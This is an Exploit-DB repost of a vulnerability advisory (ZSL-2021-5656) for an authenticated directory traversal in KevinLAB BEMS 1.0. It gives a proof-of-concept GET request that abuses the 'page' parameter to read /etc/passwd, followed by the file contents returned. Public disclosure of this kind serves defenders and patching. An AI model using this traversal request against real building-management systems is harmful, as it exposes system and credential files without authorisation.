KevinLAB BEMS 1.0 – File Path Traversal Information Disclosure (Authenticated)

  • 作者: LiquidWorm
    日期: 2021-07-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50147/
  • # Exploit Title: KevinLAB BEMS 1.0 - File Path Traversal Information Disclosure (Authenticated)
    # Date: 05.07.2021
    # Exploit Author: LiquidWorm
    # Vendor Homepage: http://www.kevinlab.com
    
    Vendor: KevinLAB Inc.
    Product web page: http://www.kevinlab.com
    Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)
    
    Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
    management platform. KevinLAB's BEMS (Building Energy Management System) enables
    efficient energy management in buildings. It improves the efficient of energy use
    by collecting and analyzing various information of energy usage and facilities in
    the building. It also manages energy usage, facility efficiency and indoor environment
    control.
    
    Desc: The BEMS suffers from an authenticated arbitrary file disclosure vulnerability.
    Input passed through the 'page' GET parameter in index.php is not properly verified
    before being used to include files. This can be exploited to disclose the contents
    of arbitrary and sensitive files via directory traversal attacks.
    
    Tested on: Linux CentOS 7
     Apache 2.4.6
     Python 2.7.5
     PHP 5.4.16
     MariaDB 5.5.68
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2021-5656
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5656.php
    
    
    05.07.2021
    
    --
    
    
    GET https://192.168.1.3/pages/index.php?page=../../../../etc/passwd HTTP/1.1
    
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    games:x:12:100:games:/usr/games:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    ...
    ...